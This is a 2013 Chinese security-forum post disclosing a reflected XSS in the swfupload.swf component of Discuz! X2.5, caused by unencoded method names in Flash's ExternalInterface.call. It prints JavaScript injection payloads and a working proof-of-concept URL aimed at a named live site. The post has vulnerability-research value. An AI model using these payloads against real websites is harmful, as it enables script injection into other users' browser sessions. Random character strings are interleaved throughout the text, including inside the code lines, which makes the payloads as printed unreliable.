找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2118|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说; ?: Y# \* k" y7 [) u

: I! j6 E8 M0 h$ q" o+ c7 R/ Iflash.external.ExternalInterface.call($methodName, $parameter)
* u5 h9 E$ o! x, P在浏览器中执行的是
- K1 e, Y" u$ B: d, v% L% o' H4 A& L) l1 v
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}% V+ K8 X& g$ x# N& I
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
. p5 l' b" V3 A! H: B+ N& p" c$ y0 I4 e0 @- P6 \; L% H- c
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
/ Q4 A$ _8 C- L$ k2 d$methodName = a())}catch(e){alert(/xss/)}//4 D' H' L" z3 m
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。8 @, n0 d, R  ^5 Z& I4 b
6 V+ k- I, |8 \2 a: I
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
: q1 |* s# o' X6 E7 a" @
! K' z3 O7 x6 B这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )# t: e3 h+ Q' d* _# p& a9 |6 Y* w
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。1 i( ]* ^: W1 ]2 e5 @

/ P  m8 A+ r3 v8 C4 R
* {: z6 {  @3 |9 o, L% m7 K6 _' C8 s7 x8 ~
漏洞文件:upload\static\image\common\swfupload.swf$ Z5 N5 [, M( s
" \, b3 l2 H. w. Z( g) t7 O6 {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
1 E- G" }8 F' q! v
4 B9 G- Q7 W& v; }  o% C; ]2 |
+ a+ W8 h; ^8 L: d# k+ W5 x9 _漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
8 ?5 s# T: T# s* {' C; Y
3 Y+ ]  ~6 w  P. o9 Z. L& h$ t3 d& D1 f$ |2 i& x  E1 D, X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表